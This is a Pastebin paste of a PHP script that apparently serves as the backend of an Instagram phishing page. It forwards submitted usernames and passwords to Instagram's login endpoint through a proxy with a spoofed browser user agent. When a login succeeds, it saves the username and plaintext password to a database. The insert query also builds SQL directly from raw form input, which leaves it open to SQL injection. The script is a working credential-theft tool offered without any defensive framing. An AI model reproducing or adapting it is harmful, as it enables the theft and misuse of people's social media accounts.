Advertisement
Guest User

Untitled

a guest
Apr 1st, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.04 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. $db_host = 'localhost';
  5. $db_username = 'censored';
  6. $db_password = 'censored';
  7. $db_dbname = 'censored';
  8.  
  9. file_put_contents("cookiess.txt","");
  10. $cookie_path = dirname(__FILE__)."/cookiess.txt" ;
  11. $cookies = array();
  12. function get_curl($url,$cookie_path="",$postfileds="",$referrer="",$header="",$httpheader='')
  13. {
  14. global $cookies;
  15. $agent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36";
  16. $proxies = array();
  17. $proxies[] = '104.28.9.48:80';
  18. $proxy = $proxies[array_rand($proxies)];
  19. $ch = curl_init();
  20. curl_setopt($ch, CURLOPT_PROXY, $proxy);
  21. curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  22. curl_setopt($ch, CURLOPT_URL,$url);
  23. curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  24. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  25. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  26. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  27.  
  28. if($referrer!="")
  29. {
  30. curl_setopt($ch, CURLOPT_REFERER, $referrer);
  31. }
  32.  
  33. if($cookie_path!="")
  34. {
  35.  
  36. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_path);
  37. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_path);
  38. }
  39. //
  40. if($postfileds!="")
  41. {
  42. $httpheader = array_merge($httpheader,array('content-type:application/x-www-form-urlencoded; charset=UTF-8','origin:https://www.instagram.com'));
  43. //curl_setopt($ch,CURLOPT_HTTPHEADER,);
  44. curl_setopt($ch, CURLOPT_POST, 1);
  45. curl_setopt($ch, CURLOPT_POSTFIELDS,$postfileds);
  46. }
  47.  
  48. if($header!="")
  49. {
  50. curl_setopt($ch, CURLOPT_HEADER, 1);
  51. }
  52. if($httpheader!="")
  53. {
  54. curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
  55. }
  56. //curl_setopt($ch, CURLINFO_HEADER_OUT, true); // enable tracking
  57.  
  58. $result = curl_exec ($ch);
  59. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  60. $cookies = array();
  61. foreach($matches[1] as $item) {
  62. parse_str($item, $cookie);
  63. $cookies = array_merge($cookies, $cookie);
  64. }
  65. $curlstatus=curl_getinfo($ch);
  66.  
  67.  
  68. // var_dump(curl_getinfo($ch, CURLINFO_HEADER_OUT));
  69. return $result;
  70.  
  71. }
  72. $result = get_curl('https://www.instagram.com/accounts/login/',$cookie_path,"",'https://www.instagram.com/accounts/login/',1);
  73. sleep(2);
  74. $result = get_curl('https://www.instagram.com/accounts/login/ajax/',$cookie_path,"username=".$_POST['username']."&password=".$_POST['password'],'https://www.instagram.com/accounts/login/',"",
  75. array(
  76.  
  77. "x-csrftoken:".$cookies['csrftoken'],
  78. "x-instagram-ajax:1",
  79. "x-requested-with:XMLHttpRequest")
  80. );
  81.  
  82. $result = json_decode($result);
  83. //var_dump($result);
  84. if(@$result->authenticated){
  85. echo "ok";
  86. $_SESSION['username'] = $_POST['username'];
  87. $mysqli = mysqli_connect($db_host,$db_username,$db_password,$db_dbname);
  88. //echo "insert into users values ('{$_POST['username']}','{$_POST['password']}')";
  89. $mysqli->query("insert into users values (null,'{$_POST['username']}','{$_POST['password']}')");
  90. }
  91. else
  92. echo "Your username or password was incorrect.";
  93.  
  94. file_put_contents("cookiess.txt","");
  95. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement